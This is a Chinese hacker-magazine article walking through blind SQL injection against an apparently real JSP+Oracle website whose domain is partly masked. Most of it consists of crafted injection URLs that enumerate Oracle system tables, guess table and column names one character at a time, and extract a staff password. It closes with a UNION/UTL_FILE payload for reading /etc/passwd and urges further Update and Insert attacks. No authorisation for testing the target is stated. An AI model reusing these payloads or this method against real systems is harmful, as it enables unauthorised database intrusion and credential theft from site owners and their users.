现在很多大型网站,像银行、政府网站一般采用的是JSP+Oracle,从WEB程序来看,普遍存在的问题还是很严重的,希望广大的程序员管理人员注意这方面的安全隐患。. 今天我们的目标也是JSP+Oracle的网站,对它进行SQL Injection的测试,希望达到引伸、开拓这种技术的目的。日标站点:http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797。如图1所示。
图1
首先我们看看Oracle的系统数据库:
all_tables 存放当前ID和其他用户的所有表。
user_tables 存放当前用户所有表。
user_tab_columns 存放当前用户表的所有列。
这些东西是后面操作的基础,是非常重要的。下面就看具体的操作过程了。
首先需要看一下系统表是否存在,一般都是存在的,没有就没得玩了,只能回家抱孩子了。提交URL:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from all_tables) and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables) and '1'='1 http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns) AND '1'='1 |
图2
都正确返回,说明存在猜测的系统表。下面看我们怎么猜它的其他表名(注意:Oracle里的表名、列名都是要大写的,要注意输写,还有下面用的到Length()、Substr()等函数的说明,请查看相关资料)。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,1)='P') and '1'='1 http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,2)='PL') and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)>8 and table_name like'%25PL%25') and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)=8 and table_name like'%25PL%25') and '1'='1 |
Yeah!正常返回,我们确定表名长度是8了。大家如果自己在猜测的时候,也可以用< >等来缩小范围。下面我们继续用上面的语句来猜测表名,最后得出的表名为PLAN_TAB。
TIPS:这里可以用Like来猜表,比如:看看有没有什么ADMIN,USERS表什么的。
and 0<>(select count(*) from user_tables where table_name like '%25ADMIN%25') and '1'='1 and 0<>(select count(*) from user_tables where table_name like '%25USERS%25') and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where table_name='PLAN_TAB') and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='PLAN_TAB' and column_name like '%25PASS%25') and '1'='1 |
看来这个表里没有什么敏感列名了,有点泄气。再去翻翻Oracle的书,突然想到可以直接查列名,汗!可能是以前学MSSQL、MYSQL的时候形成固定思维了,忘了Oracle是不一样的。那我们干脆来直接的
看看有没有敏感列名吧!.
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25') and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and length(table_name)=8) and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,1)='T') and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,8)='T_PASSWD') and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,-2,2)='ID') and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,1)='S') and '1'='1 |
得到第一个字符为S。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,2)='ST') and '1'='1 |
第二个字符为T。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,3)='STA') and '1'='1 |
第三个为A……直到第八个字符。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,8)=' STAFF_ID ') and '1'='1 |
图3
以上的过程是很枯燥的,死了不少脑细胞,觉得和猜Access一样。要是Oracle有像MSSQL月月秒年个直接暴库、表的方法就好了。呵呵,接下来的事,当然是要搞个用户名和密码了。Come on!看看最小的STAFF_ID的值是多少:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 1=(select min(STAFF_ID) from T_PASSWD) and '1'='1 |
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(PASSWORD,1,1)=’1’ and STAFF_ID=1) and '1'='1 |
当然大家也可以用Ascii()函数来猜,关于这方面很都前辈都说过了,这里就不再做说明,不然编辑说我骗稿费了,呵呵。猜不到10分钟就出来了密码:“19791108”,好像是生日哟。有密码了,没用户还不行,接下来的事就简单多了:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(STS,1,1)=’1’ and STAFF_ID=’T’) and '1'='1 |
最后补充几点:如果开放Public组的UTL_FILE则有可能读取服务器上的文件,如果设置错误,可以得到任何文件,如:读出/etc/passwd文件,不过它要和Union联合使用,如:union select 'hoge','../../../../../etc/passwd','1','1','1' from SOMETABLE--。关于Union查询,黑防七期上angel的PHP注入文章里已经介绍得比较详细:前面的语句要构造假的条件,才能返回后面的查询。当然,你也可以尝试Update、 Insert、跨库等,如果你想知道答案的话,自己来吧!相信黑防近期就会出这样的文章了。当然如果你有什么好的办法或者资料,记得给我一份哟。